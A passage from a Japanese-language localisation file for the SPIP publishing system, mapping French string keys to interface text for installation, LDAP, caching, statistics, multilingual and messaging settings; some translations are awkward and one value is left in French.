'info_derniers_articles_publies' => 'あなたの最近公開された記事',
'info_desactiver_messagerie_personnelle' => 'あなたはこのサイト上で個人的なメッセージ交換を、するかしないか決められます。',
'info_descriptif' => '記述:',
'info_discussion_cours' => '進行中の討論',
'info_ecrire_article' => '記事を書く前に、あなたは最低１つのセクションを作らなければなりません。',
'info_email_envoi' => '送り主のe-mailアドレス（任意）',
'info_email_envoi_txt' => 'e-mailを送るのに使っている送り主のe-mailアドレスを入力してください（デフォルトで、受信者のアドレスは送信者のアドレスが入力してあります :',
'info_email_webmestre' => 'ウェブマスターのe-mailアドレス（任意）', # MODIF
'info_entrer_code_alphabet' => '使っている文字セットのコードを入力してください:',
'info_envoi_email_automatique' => 'メールを自動送信',
'info_envoyer_maintenant' => '今送る',
'info_etape_suivante' => '次のステップに進む',
'info_etape_suivante_1' => '次のステップに移ることが出来ます。',
'info_etape_suivante_2' => '次のステップに移ることが出来ます。',
'info_exportation_base' => '@archive@ へデータベースをエキスポート（輸出）',
'info_facilite_suivi_activite' => 'サイトでの編集活動のお手伝いのために、SPIPは記事公開要求、適性検査の結果など、メールで自動送信することが出来ます。（例えばメーリングリストなど）',
'info_fichiers_authent' => '認証ファイル ".htpasswd"',
'info_forums_abo_invites' => 'あなたのサイトはサブスクリプションのための掲示板を持っています; 訪問者達はパブリックなサイトでそれらのために登録するかもしれません。',
'info_gauche_admin_effacer' => '<b>管理者のみがこのページにアクセス出来る。</b><p> そのページはさまざまな技術的メンテナンスのための手順を提供します。いくらかの手順では同WEBサイトへのFTPアクセスによる特別な認証手順が必要です。</p>', # MODIF
'info_gauche_admin_tech' => '<b>管理者のみがこのページにアクセス出来る。</b><p> そのページはさまざまな技術的メンテナンスのための手順を提供します。いくらかの手順では同WEBサイトへのFTPアクセスによる特別な認証手順が必要です。</p>', # MODIF
'info_gauche_admin_vider' => '<b>このページは管理者のみアクセス出来ます。</b><p> このページはいろいろなメンテナンスの手順を提供します。いくつかの手順は同WEBサイトへのアクセスによる特別な認証を必要とします。</p>', # MODIF
'info_gauche_auteurs' => 'あなたはサイトの著者たちすべてをここで見つけることができます。
それぞれの状態はアイコンの色によって示されています（管理者 = 緑; エディター = 黄色）。',
'info_gauche_auteurs_exterieurs' => '外部の著者たち、サイトへのどんなアクセスもない、は青いアイコンで示されています; また、削除された著者たちはゴミ箱です。', # MODIF
'info_gauche_messagerie' => 'メッセージ交換はエディター同士でのメッセージの交換を可能にします、保護されたメモ（あなたの私用向け）または、プライベートエリアのホームページのアナウンスを示す（あなたが管理者の場合）。',
'info_gauche_numero_auteur' => '著者番号',
'info_gauche_statistiques_referers' => 'このページは<i>referrers</i>のリストを表示します。つまり昨日と今日の間、あなたのサイトへのリンクを含んだサイト：実際にこのリストは２４時間ごとに初期化されています。',
'info_gauche_visiteurs_enregistres' => 'ここでサイトのパブリックなエリアで登録された訪問者たちを探せるでしょう（寄付による掲示板）。',
'info_generation_miniatures_images' => '画像のサムネイルを生成',
'info_gerer_trad' => '翻訳版同士リンクし合いますか？',
'info_hebergeur_desactiver_envoi_email' => '若干のホストでは、それらサーバー上から自動的にメールを送ることが出来ません。そういう場合、SPIPの次の機能は実施できません。',
'info_hier' => '昨日：',
'info_historique_activer' => 'リビジョン（修正点）の表示を有効にする',
'info_historique_affiche' => 'このバージョンを表示',
'info_historique_comparaison' => '比較',
'info_historique_desactiver' => 'リビジョン（改訂）の表示を無効化する',
'info_historique_texte' => '改訂（リビジョン）の追跡で、あなたが記事のすべての変更を記録・追跡することが可能になります。前後バージョンとの記事の変更点を表示することができます。',
'info_identification_publique' => 'あなたの公開ID...',
'info_image_process' => 'ミニチュアを作る最も良い方法を、対応する写真の上を、クリックして選んでください。',
'info_image_process2' => '<b>付記</b> <i>もし画像を見ることが出来なかったら、あなたのサーバーではソフトが使えるように設定してありません。もしあなたがそれらの機能を使いたいなら、プロバイダの技術サポートに«GD»か«Imagick»拡張をインストールしてもらって下さい。</i>', # MODIF
'info_images_auto' => '画像自動管理',
'info_informations_personnelles' => '５番目のステップ: <b>個人情報</b>',
'info_inscription_automatique' => '新しいエディターの登録の自動化',
'info_jeu_caractere' => 'サイトの文字コード',
'info_jours' => '日',
'info_laisser_champs_vides' => 'これらのフィールドを空のままにしておくことができます)',
'info_langues' => 'サイトの言語',
'info_ldap_ok' => 'LDAP認証はインストールされています。',
'info_lien_hypertexte' => 'リンク:',
'info_liste_redacteurs_connectes' => '接続中のエディターのリスト',
'info_login_existant' => 'このIDは既に使われています。',
'info_login_trop_court' => 'ログインIDが短すぎます。',
'info_maximum' => '最大:',
'info_meme_rubrique' => '同じセクションで',
'info_message' => 'メッセージ from',
'info_message_efface' => 'メッセージは削除された',
'info_message_en_redaction' => '進行中のあなたのメッセージ',
'info_message_technique' => '技術的なメッセージ:',
'info_messagerie_interne' => '内部のメッセージ交換',
'info_mise_a_niveau_base' => 'SQLデータベースがアップグレードした',
'info_mise_a_niveau_base_2' => '{{警告!}} あなたは前にこのサイトにあったものより
{古い}バージョンのSPIPのファイルをインストールしました: あなたのデータベースには損失の危機が迫り、
あなたのサイトはこれ以上適切に動かないでしょう。<br />{{SPIPファイルを
再インストール。}}',
'info_modifier_rubrique' => '修正するセクション:',
'info_modifier_titre' => '修正: @titre@',
'info_mon_site_spip' => '私のSPIPのサイト',
'info_mot_sans_groupe' => '(グループを除いたキーワード...)',
'info_moteur_recherche' => '検索エンジンを結合した',
'info_moyenne' => '平均：',
'info_multi_articles' => '記事用に言語選択メニューを有効にしますか？',
'info_multi_cet_article' => 'この記事の言語：',
'info_multi_langues_choisies' => 'あなたのサイトのエディターが利用できる言語を下で選んでください。もうすでにあなたのサイト内で（リストの上で）使われている言語は無効に出来ません。',
'info_multi_rubriques' => 'セクション用にに言語選択メニューを有効にしますか？',
'info_multi_secteurs' => '... ルート（一番上のフォルダ）にあるセクションだけ有効にしますか？',
'info_nom' => '名前',
'info_nom_destinataire' => '受取人の名前',
'info_nom_site' => 'ＨＰの名前',
'info_nombre_articles' => '@nb_articles@ 記事、',
'info_nombre_partcipants' => '討論の参加者:',
'info_nombre_rubriques' => '@nb_rubriques@ セクション、',
'info_nombre_sites' => '@nb_sites@サイト、',
'info_non_deplacer' => '動かさないで...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIPは定期的にサイトの最新のニュース、アナウンスを送ることができます。
（最近公開された記事とニュース）。',
'info_non_envoi_liste_nouveautes' => '最新のニュースのリストを送らない',
'info_non_modifiable' => '変更できない',
'info_non_suppression_mot_cle' => '私はこのキーワードを削除することを望みません。',
'info_notes' => '補足',
'info_nouveaux_message' => '新しいメッセージ',
'info_nouvel_article' => '新しい記事',
'info_nouvelle_traduction' => '新しい翻訳:',
'info_numero_article' => '記事番号:',
'info_obligatoire_02' => '[要求した]', # MODIF
'info_option_accepter_visiteurs' => 'パブリックなサイトからの訪問者の登録を許可',
'info_option_faire_suivre' => '記事の著者たちへ掲示板のメッセージを送る',
'info_option_ne_pas_accepter_visiteurs' => '訪問者の登録を断る',
'info_options_avancees' => '拡張オプション',
'info_ortho_activer' => 'スペルチェッカーを有効にする',
'info_ortho_desactiver' => 'スペルチェッカーを無効にする。',
'info_ou' => '又は...',
'info_page_interdite' => '禁じられたページ',
'info_par_nombre_article' => '(記事の数によって)',
'info_passe_trop_court' => 'パスワードが短すぎます。',
'info_passes_identiques' => 'その二つのパスワードは同一でない。',
'info_pense_bete_ancien' => 'あなたの古いメモ類', # MODIF
'info_plus_cinq_car' => '６文字以上',
'info_plus_cinq_car_2' => '(６文字以上)',
'info_plus_trois_car' => '(４文字以上)',
'info_popularite' => '人気度: @popularite@; 訪問者: @visites@',
'info_popularite_4' => '人気度: @popularite@; 訪問者: @visites@',
'info_post_scriptum' => 'Postscript',
'info_post_scriptum_2' => 'Postscript:',
'info_pour' => 'for',
'info_preview_admin' => '管理者のみ、プレビューモードへアクセス出来る',
'info_preview_comite' => 'すべての編集者がプレビューモードへアクセス出来る',
'info_preview_desactive' => 'プレビューモードは使用不能',
'info_preview_texte' => '（少なくとも"提出中"状態の）すべての記事とニュースを公表した時どのように見えるか試しに見ることが出来ます。このプレビューモードは管理人だけに限定するか、すべての編集者に開放するか、完全に無効にすることが出来ます。',
'info_principaux_correspondants' => 'あなたの主な通信者',
'info_procedez_par_etape' => 'どうかステップbyステップで進んでください',
'info_procedure_maj_version' => '新しいバージョンのSPIPに順応させるために、データベースをアップグレードするべきです。',
'info_ps' => 'P.S.',
'info_publier' => '発表',
'info_publies' => 'オンラインに公開されたあなたの記事',
'info_question_accepter_visiteurs' => 'もしあなたのサイトのテンプレートが、プライベートエリアに入らないで登録する訪問者たちを許すなら、次のオプションを有効にしてください:',
'info_question_inscription_nouveaux_redacteurs' => '公開されているサイトで新しいエディターの登録を募りますか？ 許可した場合、訪問者たちはフォームから自動で登録でき、プライベートエリアにアクセスし自分の記事を提出できます。 <blockquote><i>登録作業中に、ユーザーは自動的に送信されるプライベートエリアへのIDとパスワードを記したe-mailを受け取ります。若干のホストでは、それらサーバー上からメールが送れない場合があります：そういう場合、自動登録を実施できません。', # MODIF
'info_question_utilisation_moteur_recherche' => 'SPIPに結合された検索エンジンを使いたいですか?
(無効にするとシステムが早くなります。)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'サイトのルート',
'info_recharger_page' => 'ちょっとしてからこのページを再読込してください。',
'info_recherche_auteur_a_affiner' => '"@cherche_auteur@"の検索結果が多すぎます; もうちょっとキーワードをひねって検索して下さい。',
'info_recherche_auteur_ok' => '"@cherche_auteur@"に対するエディターが幾人か見つかりました:',
'info_recherche_auteur_zero' => '"@cherche_auteur@"は何も見つかりませんでした。',
'info_recommencer' => 'もう一度挑戦してみて下さい。',
'info_redacteur_1' => '編集者',
'info_redacteur_2' => 'プライベートエリアへのアクセスを持っている (<i>推奨</i>)',
'info_redacteurs' => 'エディターズ',
'info_redaction_en_cours' => '進行中の編集',
'info_redirection' => 'リダイレクション',
'info_refuses' => 'あなたの記事は拒絶された',
'info_reglage_ldap' => 'オプション：<b>LDAPインポートの調整</b>',
'info_renvoi_article' => '<b>リダイレクション。</b> この記事はそのページを参照します:',
'info_reserve_admin' => '管理者のみがこのアドレスを変更することが出来る。',
'info_restreindre_rubrique' => '管理できるセクションの制限:',
'info_resultat_recherche' => '検索結果:',
'info_rubriques' => 'セクション',
'info_rubriques_02' => 'セクション',
'info_rubriques_trouvees' => '見つかったセクション',
'info_rubriques_trouvees_dans_texte' => '見つかったセクション（文中）',
'info_sans_titre' => '無名',
'info_selection_chemin_acces' => '<b>下を選択</b> ディレクトリのアクセスパス:',
'info_signatures' => '署名',
'info_site' => 'サイト',
'info_site_2' => 'サイト：',
'info_site_min' => 'サイト',
'info_site_reference_2' => '参照されたサイト',
'info_site_web' => 'ウェブサイト：', # MODIF
'info_sites' => 'サイト',
'info_sites_lies_mot' => '参照されたサイトをこのキーワードと関連付ける',
'info_sites_proxy' => 'プロキシを使う',
'info_sites_trouves' => '見つかったサイト',
'info_sites_trouves_dans_texte' => '見つかったサイト（文中）',
'info_sous_titre' => 'サブタイトル:',
'info_statut_administrateur' => '管理者',
'info_statut_auteur' => 'この著者の状態:', # MODIF
'info_statut_auteur_autre' => 'その他の状態:',
'info_statut_efface' => '削除',
'info_statut_redacteur' => 'エディター',
'info_statut_utilisateurs_1' => '読み込まれたユーザーの標準の状態',
'info_statut_utilisateurs_2' => '始めて接続したときにLDAPディレクトリに存在・属している人たちの状態を選択してください。後で、それぞれの著者ごとにケースバイケースで値を変更できます。',
'info_suivi_activite' => '編集活動の手伝い',
'info_surtitre' => 'トップタイトル:',
'info_taille_maximale_vignette' => 'システムによって生産されたビネット（半身像、ロゴなど）の最大の大きさ:',
'info_terminer_installation' => 'あなたは今標準的なインストール手順を終えることができます。',
'info_texte' => 'テキスト',
'info_texte_explicatif' => '説明用の文章',
'info_texte_long' => '(文章が長い：いくつかに文章に分けられていますが、適正検査後、システムが自動で繋ぎます。)',
'info_texte_message' => 'あなたのメッセージ文章:', # MODIF
'info_texte_message_02' => 'メッセージの文章',
'info_titre' => 'タイトル:',
'info_total' => '合計:',
'info_tous_articles_en_redaction' => '進行中のすべての記事',
'info_tous_articles_presents' => 'このセクションに出版したすべての記事',
'info_tous_les' => 'すべて:',
'info_tous_redacteurs' => 'すべてのエディターへのアナウンス',
'info_tout_site' => '全サイト',
'info_tout_site2' => '記事はこの言語へ翻訳されていません。',
'info_tout_site3' => '記事はこの言語へ翻訳されていますが、いくつかの別言語版に、その後入力がなされました。翻訳のアップデートを要求します。',
'info_tout_site4' => '記事はこの記事へ翻訳されています、そして、翻訳版は更新されました。',
'info_tout_site5' => '元の記事。',
'info_tout_site6' => '<b>警告:</b> オリジナルの記事だけを表示している。
翻訳版はオリジナルと結びつけられる、
それらのステータスを表す色によって:',
'info_travail_colaboratif' => '記事の共同作業',
'info_un_article' => '記事、',
'info_un_site' => '１つのサイト、',
'info_une_rubrique' => '１つのセクション、',
'info_une_rubrique_02' => '１セクション',
'info_url' => 'URL:',
'info_url_site' => 'サイトのURL:',
'info_urlref' => 'リンク:',
'info_utilisation_spip' => 'SPIPが使えるように準備中...',
'info_visites_par_mois' => '月単位で表示:',
'info_visiteur_1' => '訪問者',
'info_visiteur_2' => 'パブリックなサイトの',
'info_visiteurs' => '訪問者',
'info_visiteurs_02' => 'パブリックなサイトの訪問者数',
'install_echec_annonce' => 'このインストールではたぶん動かないか、上手く機能しないサイトになるでしょう。',
'install_extension_mbstring' => 'SPIPは次によって停止中:',
'install_extension_php_obligatoire' => 'SPIPにはphpの拡張モジュールが必要:',
'install_select_langue' => '言語を選んだら、"次＞＞"ボタンを押してインストールを始めて下さい。',
'intem_redacteur' => 'エディター',
'item_accepter_inscriptions' => '登録を許可',
'item_activer_messages_avertissement' => '警告メッセージを作動させる',
'item_administrateur_2' => '管理者',
'item_afficher_calendrier' => 'カレンダーに表示',
'item_autoriser_documents_joints' => 'ドキュメントが記事に結びつくのを許可する',
'item_autoriser_documents_joints_rubriques' => 'セクション内のドキュメントを許可する',
'item_choix_administrateurs' => '管理者たち',
'item_choix_generation_miniature' => '自動的に画像のサムネイルを作る。',
'item_choix_non_generation_miniature' => '画像のサムネイルを作らない。',
'item_choix_redacteurs' => 'エディターズ',
'item_choix_visiteurs' => 'パブリックなサイトの訪問者',
'item_creer_fichiers_authent' => '.htpasswdファイルを作る',
'item_limiter_recherche' => 'あなたのサイトに含まれている情報に検索を制限する',
'item_login' => 'ログインID',
'item_mots_cles_association_articles' => '記事',
'item_mots_cles_association_rubriques' => 'セクション',
'item_mots_cles_association_sites' => '参照か供給（シンジケート）しているサイト',
'item_non' => 'いいえ',
'item_non_accepter_inscriptions' => '登録を許可しない',
'item_non_activer_messages_avertissement' => '警告メッセージを表示しない',
'item_non_afficher_calendrier' => 'カレンダー上に表示しない',
'item_non_autoriser_documents_joints' => '記事内のドキュメントを許可しない',
'item_non_autoriser_documents_joints_rubriques' => 'セクション内のドキュメントを許可しない',
'item_non_creer_fichiers_authent' => 'それらファイルを作らない',
'item_non_gerer_statistiques' => '統計を管理しない',
'item_non_limiter_recherche' => '参照しているサイトの内容へ検索を拡張する',
'item_non_publier_articles' => 'それらの公開日付前に記事を公表しない。',
'item_non_utiliser_moteur_recherche' => 'エンジンを使わない',
'item_nouvel_auteur' => '新しい著者',
'item_nouvelle_rubrique' => '新しいセクション',
'item_oui' => 'はい',
'item_publier_articles' => 'それらの発表日時を無視して記事を公表する。',
'item_reponse_article' => '記事に返信',
'item_utiliser_moteur_recherche' => '検索エンジンを使う',
'item_visiteur' => '訪問者',
// J
'jour_non_connu_nc' => '未定義',
// L
'lien_ajout_destinataire' => 'この受取人を追加',
'lien_ajouter_auteur' => 'この著者を追加',
'lien_ajouter_participant' => '関係者を追加',
'lien_email' => 'e-mail',
'lien_nom_site' => 'サイトの名前:',
'lien_retirer_auteur' => '著者を削除',
'lien_retrait_particpant' => 'この関係者を削除',
'lien_site' => 'サイト',
'lien_supprimer_rubrique' => 'このセクションを削除',
'lien_tout_deplier' => 'すべて拡張',
'lien_tout_replier' => 'すべて壊す',
'lien_trier_nom' => '名前でソート',
'lien_trier_nombre_articles' => '記事番号でソート',
'lien_trier_statut' => '状態でソート',
'lien_voir_en_ligne' => 'オンラインで見る:',
'logo_article' => '記事のロゴ', # MODIF
'logo_auteur' => '著者のロゴ', # MODIF
'logo_rubrique' => 'セクションのロゴ', # MODIF
'logo_site' => 'サイトのロゴ', # MODIF
'logo_standard_rubrique' => 'セクションのための標準的なロゴ', # MODIF
'logo_survol' => 'ホバリングするロゴ', # MODIF
// M
'menu_aide_installation_choix_base' => 'あなたのデータベースの選択',
'module_fichier_langue' => '言語ファイル',
'module_raccourci' => 'ショートカット',
'module_texte_affiche' => 'テキストを表示',
'module_texte_explicatif' => 'あなたは次のショートカットをあなたのサイトのテンプレートで使うことができます。それらは言語ファイルによって種々の言語に自動的に翻訳されます。',
'module_texte_traduction' => '« @module@ »の言語ファイルは次の言語が使用可能:',
'mois_non_connu' => '未定義',
// O
'onglet_repartition_actuelle' => '今',
// S
'statut_admin_restreint' => '(限定された管理者)', # MODIF
// T
'taille_cache_image' => 'SPIPによる画像自動管理（ビネット（半身像、画像で作られている題名、TeXフォーマットの数式など...) @dir@ ディレクトリ内を合計 @taille@ に調整します。',
'taille_cache_infinie' => 'このサイトは<code>CACHE/</code>ディレクトリのどんな大きさの制限も設定していない。',
'taille_cache_maxi' => 'SPIPは<code>CACHE/</code>ディレクトリのデータの大きさを大体<b>@octets@</b>までに制限できます。',
'taille_cache_octets' => 'キャッシュの大きさは現在 @octets@ です。', # MODIF
'taille_cache_vide' => 'キャッシュは空です。',
'taille_repertoire_cache' => '現在のキャッシュの大きさ',
'text_article_propose_publication' => 'この記事は公開の為に提出されました。この記事の掲示板で、どうぞためらわずに意見してください(ページの一番下)。', # MODIF
'texte_acces_ldap_anonyme_1' => 'いくらかのLDAPサーバーはどんな匿名でのアクセスも許しません。こういう場合、あなたはこの後ディレクトリの情報を検索できる最初のIDを入力する必要があります。しかしながら、次のところはほとんどの場合は空欄のままで大丈夫です。',
'texte_admin_effacer_01' => 'この手順はデータベースの<i>すべての</i> 内容を削除します。<i>すべての</i> エディター達や管理者のアクセスの為の設定も含みます。実行した後、新しいデータベースを作り、管理者が最初にアクセスするため、SPIPを再インストールする必要があります。',
'texte_adresse_annuaire_1' => '( もしあなたのディレクトリがあなたのWebサイトと同じマシンにインストールされているなら、それはおそらく«localhost»。）',
'texte_ajout_auteur' => '次の著者は記事に加筆した:',
'texte_annuaire_ldap_1' => 'もしあなたがディレクトリ（LDAP）にアクセスできるのなら、SPIPに自動的にユーザーを輸入（インポート）することが可能です。',
'texte_article_statut' => '記事の状態:',
'texte_article_virtuel' => '仮想記事',
'texte_article_virtuel_reference' => '<b>仮想記事:</b> あなたのSPIPサイト内の記事を参照しているが、ほかのURLへとリダイレクトしている。リダイレクションを削除するには上のURLを削除して下さい。',
'texte_aucun_resultat_auteur' => '"@cherche_auteur@"は見つかりませんでした。',
'texte_auteur_messagerie' => 'このサイトはリアルタイムでメッセージ交換できるように、接続中のエディターのリストを絶えず表示することが出来ます。このリストに表れないようにも出来ます。(そうすると、他の著者たちには" 見えません ")。',
'texte_auteur_messagerie_1' => 'このサイトはメッセージ交換やサイトの参加者と関係者用の掲示板を作ることができます。あなたはこの交換に参加しないようにも設定出来ます。',
'texte_auteurs' => '著者たち',
'texte_choix_base_1' => 'あなたのデータベースの選択:',
'texte_choix_base_2' => 'SQLサーバーはいくつかのデータベースを含んでいます。',
'texte_choix_base_3' => 'あなたのホストがあなたに割り当てたものを<b>下から１つ選んで下さい</b>:',
'texte_commande_vider_tables_indexation' => 'この手順を使うとSPIPに結合された検索エンジンが使っているインデックステーブルが空になります。いくらかのディスクが空くことでしょう。',
'texte_compresse_ou_non' => '(これが圧縮できなかったか、違う)',
'texte_compte_element' => '@count@ 要素',
'texte_compte_elements' => '@count@ 要素',
'texte_connexion_mysql' => 'あなたのホストからあなたに提供されている情報を参照して下さい: もしあなたのホストがSQL、SQLサーバーへの接続コードをサポートするなら、それはあなたを与えるべきです。', # MODIF
'texte_contenu_article' => '（記事の内容の短い説明。）',
'texte_contenu_articles' => 'あなたのサイト用に決めたレイアウトに基づいて、あなたはいくつかの記事の項目を使うか使わないか決めることが出来ます。次のリストの中から使うものを選択してください。',
'texte_crash_base' => 'もしあなたのデータベースが壊れたら、あなたは自動的に復元に挑戦することが出来ます。',
'texte_creer_rubrique' => '記事を書き始める前に、<br /> あなたはセクションを作らなければなりません。',
'texte_date_creation_article' => '記事が作られた日時:',
'texte_date_publication_anterieure' => '公開前の日付:',
'texte_date_publication_anterieure_nonaffichee' => '公表前の日時を隠す。',
'texte_date_publication_article' => 'オンラインに公表された日時:',
'texte_descriptif_petition' => '署名内容の説明',
'texte_descriptif_rapide' => '短い記述',
'texte_effacer_base' => 'SPIPデータベースを削除',
'texte_effacer_donnees_indexation' => 'インデックスデータを削除',
'texte_en_cours_validation' => '次の記事およびニュースは公表するために送られました。それらの掲示板を通してあなたの意見を述べることを、どうぞためらわないでください。', # MODIF
'texte_enrichir_mise_a_jour' => 'あなたは、«印刷上のショートカット»を使うことによってあなたの文章のレイアウトを豊かにすることができます。',
'texte_fichier_authent' => '<b>SPIPは<tt>.ecrire/data/</tt>フォルダ内に<tt>.htpasswd</tt>ファイルと<tt>.htpasswd-admin</tt>ファイルを作るべきですか？</b><p>それらのファイルであなたのサイトの他の部分で、著者たちと管理者に限定したアクセスを使うことが出来ます。（例えば、外部の統計プログラムとか）。</p><p>
もしこのようなファイルを使わないのなら、このオプションを触らないでください（ファイルを作らないでください）。</p>', # MODIF
'texte_informations_personnelles_1' => '今調整することによって、システムはあなたにサイトへのアクセスを提供するでしょう。',
'texte_informations_personnelles_2' => '(メモ: もしそれが再インストールであり、そしてあなたのアクセスがまだ機能しているなら、あなたは', # MODIF
'texte_introductif_article' => '（記事の紹介文章。）',
'texte_jeu_caractere' => 'このオプションはあなたのサイトがローマ字（«western»）とその派生物以外の文字セット（日本語など）を表示する場合に使用すると便利です。そういう場合、自分にあった文字コード（文字の設定）に変えなければいけません。とにかく、私たちは正しいのを探すために違うのを試してみることを勧めします。もしこの設定を変更したなら、忘れずに<tt>#CHARSET</tt>タグにあわせて公開しているサイトを変更してください。',
'texte_jeu_caractere_2' => 'この設定はさかのぼって有効にはなりません。したがって、この設定を変更した後、文章が文字化けする可能性があります。いずれにしても、あなたはいつでも前の設定に戻すことが出来ます。',
'texte_lien_hypertexte' => '（もしあなたのメッセージがウェブに公開されている記事か、さらなる情報を提供しているページへリンクしている場合、ここにページのタイトルとURLを入力してください。）',
'texte_login_ldap_1' => '（匿名アクセスのために空状態にしておくか、完全なパスを入力、例えば、«<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>»。）',
'texte_login_precaution' => '警告! これは今あなたが接続しているログインIDです。
注意してこのフォームを使ってください...',
'texte_message_edit' => '警告：このメッセージはすべてのサイト管理者によって変更することができます、そしてすべてのエディターに表示されます。サイト生活での重要な出来事を強調するときのみ、アナウンスを使ってください。',
'texte_mise_a_niveau_base_1' => 'あなたはちょうど今SPIPのファイルを更新しました
今あなたはサイトのデータベースも更新しなければなりません。',
'texte_modifier_article' => '修正する記事:',
'texte_moteur_recherche_active' => '<b>検索エンジンは有効になっています。</b>すばやく再度インデックスしたいならこれを実行してください（例えばバックアップを復元した後など）。気をつけてください、（SPIPのインターフェースから）普通に変更されたドキュメントは再度自動的にインデックスされています。：そのためこのコマンドは特別な事情があるときだけ有用です。',
'texte_moteur_recherche_non_active' => '検索エンジンが無効です。',
'texte_multilinguisme' => 'もし記事をいくつかの言語で管理したいなら、完全なナビゲーション インターフェースによって、あなたのサイトの組織の記事と、セクションに言語選択メニューを追加できます。', # MODIF
'texte_multilinguisme_trad' => '同じく、あなたは１つの記事の、違う翻訳版間のリンク管理システムを有効にできます。', # MODIF
'texte_non_compresse' => '<i>未圧縮</i>（あなたのサーバーでこの機能は使えません）',
'texte_nouveau_message' => '新しいメッセージ',
'texte_nouvelle_version_spip_1' => 'たった今SPIPの新しいバージョンがインストールされました。',
'texte_nouvelle_version_spip_2' => 'この新しいバージョンはこまめに更新（アップデート）することが必要となります。もしこのサイトの管理者なら、<tt>ecrire</tt>ディレクトリの<tt>inc_connect.php3</tt>ファイルを削除して、あなたのデータベースとの接続の仕方などを変更するためインストールを再度実施してください。<p>（付記：もし接続用の情報などを忘れているのなら、<tt>inc_connect.php3</tt>を"削除する前に"見ておいてください。）</p>', # MODIF
'texte_operation_echec' => '前のページに戻って、他のデータベースを選択するか、新しいのを作ってください。あなたのホストに提供された情報を確認してみてください。',
'texte_plus_trois_car' => '３文字以上',
'texte_plusieurs_articles' => '数人の著者たちが見つかった "@cherche_auteur@":',
'texte_port_annuaire' => '（デフォルト値で通常は適切です。)',
'texte_proposer_publication' => '記事が完成した後、<br />あなたは公開するためそれを提出することができる。',
'texte_proxy' => 'ある場合（イントラネット、保護されたネットワーク...）、供給（シンジケート）するサイトにアクセスするために、<i>HTTPプロキシ</i>の使用が必要です。プロキシが必要なときは、下にプロキシのアドレスを入力してください。例えば、<tt><html>http://proxy:8080</html></tt>のように入力します。普通ここには何も入力しません。（通常使用しません。）',
'texte_publication_articles_post_dates' => '出版用に未来の日付が設定された記事に対するSPIPの対応を決めて下さい。',
'texte_rappel_selection_champs' => '[忘れずにこの部分をきちんと選択してください。]',
'texte_recalcul_page' => 'もしあなたが１つのページだけリフレッシュしたい場合、公開エリアで« リフレッシュ »ボタンを使った方が良いです。',
'texte_recapitiule_liste_documents' => 'このページはセクション内に置いてあるドキュメントのリストのまとめです。それぞれのドキュメントの情報を変更するには、次の（置いてあるセクションへリンクしている）リンクをクリックしてください。',
'texte_recuperer_base' => 'データベースを復元',
'texte_reference_mais_redirige' => 'あなたのSPIPサイト内の記事を参照しているけれど、他のURLへとリダイレクションしている。',
'texte_requetes_echouent' => '<b>いくらかのSQLの要求（クエリー）がシステム的に何も理由を表さず失敗したとき、データベース自体が壊れている可能性があります。</b><p>SQLは偶然壊れたとき、また使えるようにテーブルの機能を修復します。ここで、あなたはこの修復に挑戦できます; 失敗した場合、あなたは画面の複製をとっておくべきです。何が悪かったのかが書いてあるかもしれません。</p><p>もし問題が残っているなら、あなたのホストと連絡をとってください。</p>', # MODIF
'texte_selection_langue_principale' => 'あなたはサイトの"主な言語"を下で選択できます。運良く、この選択によって、選択した言語でしか記事が書けないということはありませんが、次を決定します
<ul><li> 公開されているサイトの日付の標準な書き方</li>
<li> 文章の表示のためにSPIPが使う印刷エンジンの性質;</li>
<li> 公開されているサイトの掲示板で使われる言語</li>
<li> プライベートエリア内で表示される標準言語</li></ul>',
'texte_sous_titre' => 'サブタイトル',
'texte_statistiques_visites' => '(黒い線： 日曜日 / 黒い曲線：平均水準)',
'texte_statut_attente_validation' => '適正検査前',
'texte_statut_publies' => 'オンラインに公開された',
'texte_statut_refuses' => '拒否された',
'texte_suppression_fichiers' => 'これを使うとSPIPのすべてのキャッシュファイルが削除されます。これを許可すると、特にサイトの構造や画像の重要な変更を入力している場合に備えて、すべてのページのリフレッシュを強制します。',
'texte_sur_titre' => 'トップタイトル',
'texte_table_ok' => ': このテーブルはOK。',
'texte_tables_indexation_vides' => '空のエンジンのテーブルをインデックス',
'texte_tentative_recuperation' => '復元を試みる',
'texte_tenter_reparation' => 'データベースの復元を試みる',
'texte_test_proxy' => 'このプロキシを試すために、ここにあなたがテストしてみたいウェブサイトのアドレスを入力してください。',
'texte_titre_02' => '件名:',
'texte_titre_obligatoire' => '<b>タイトル</b> [必須]',
'texte_travail_article' => '@nom_auteur_modif@は、@date_diff@分前、この記事で働いていた',
'texte_travail_collaboratif' => '同じ記事上で数人のエディターが頻繁に働くと、システムは記事が同時に修正されるのを防ぐために最近«開かれた»と表示することができます。このオプションはたくさん警告メッセージが表示されるのを防ぐため、初めは無効になっています。',
'texte_trop_resultats_auteurs' => '"@cherche_auteur@"に対する結果が多すぎます; キーワードをひねって検索してください。',
'texte_unpack' => '最新バージョンをダウンロード',
'texte_utilisation_moteur_syndiques' => 'あなたがSPIPに結合された検索エンジンを使うとき、サイト上と供給（シンジケート）されている記事を違った態度で検索することができます。<br /><img src=\'puce.gif\' />最も簡単なのは記事のタイトルと記述だけを検索することです。<br /><img src=\'puce.gif\' />もっと強力な２番目の方法は、同じように参照されているサイト内の文も検索できます。もしあなたがサイトを参照するなら、SPIPはサイトの文自体の検索を行うでしょう。', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'この方法は定期的に参照しているサイトへ訪問することを強います。あなた自身のサイトに少々負担を掛けます。',
'texte_vide' => '空にする',
'texte_vider_cache' => 'キャッシュを空にする',
'titre_admin_effacer' => '技術的なメンテナンス',
'titre_admin_tech' => '技術的なメンテナンス',
'titre_admin_vider' => '技術的なメンテナンス',
'titre_cadre_afficher_article' => '記事の表示:',
'titre_cadre_afficher_traductions' => '次の言語のための、翻訳のステータスの表示:',
'titre_cadre_ajouter_auteur' => '著者の追加:',
'titre_cadre_interieur_rubrique' => 'セクションで',
'titre_cadre_numero_auteur' => '著者番号',
'titre_cadre_signature_obligatoire' => '<b>署名</b> [必須]<br />',
'titre_config_fonctions' => 'サイトの設定',
'titre_configuration' => 'サイトの設定',
'titre_connexion_ldap' => 'オプションズ: <b>あなたのLDAPコネクション</b>',
'titre_groupe_mots' => 'キーワードグループ:',
'titre_langue_article' => '記事の言語', # MODIF
'titre_langue_rubrique' => 'セクションの言語', # MODIF
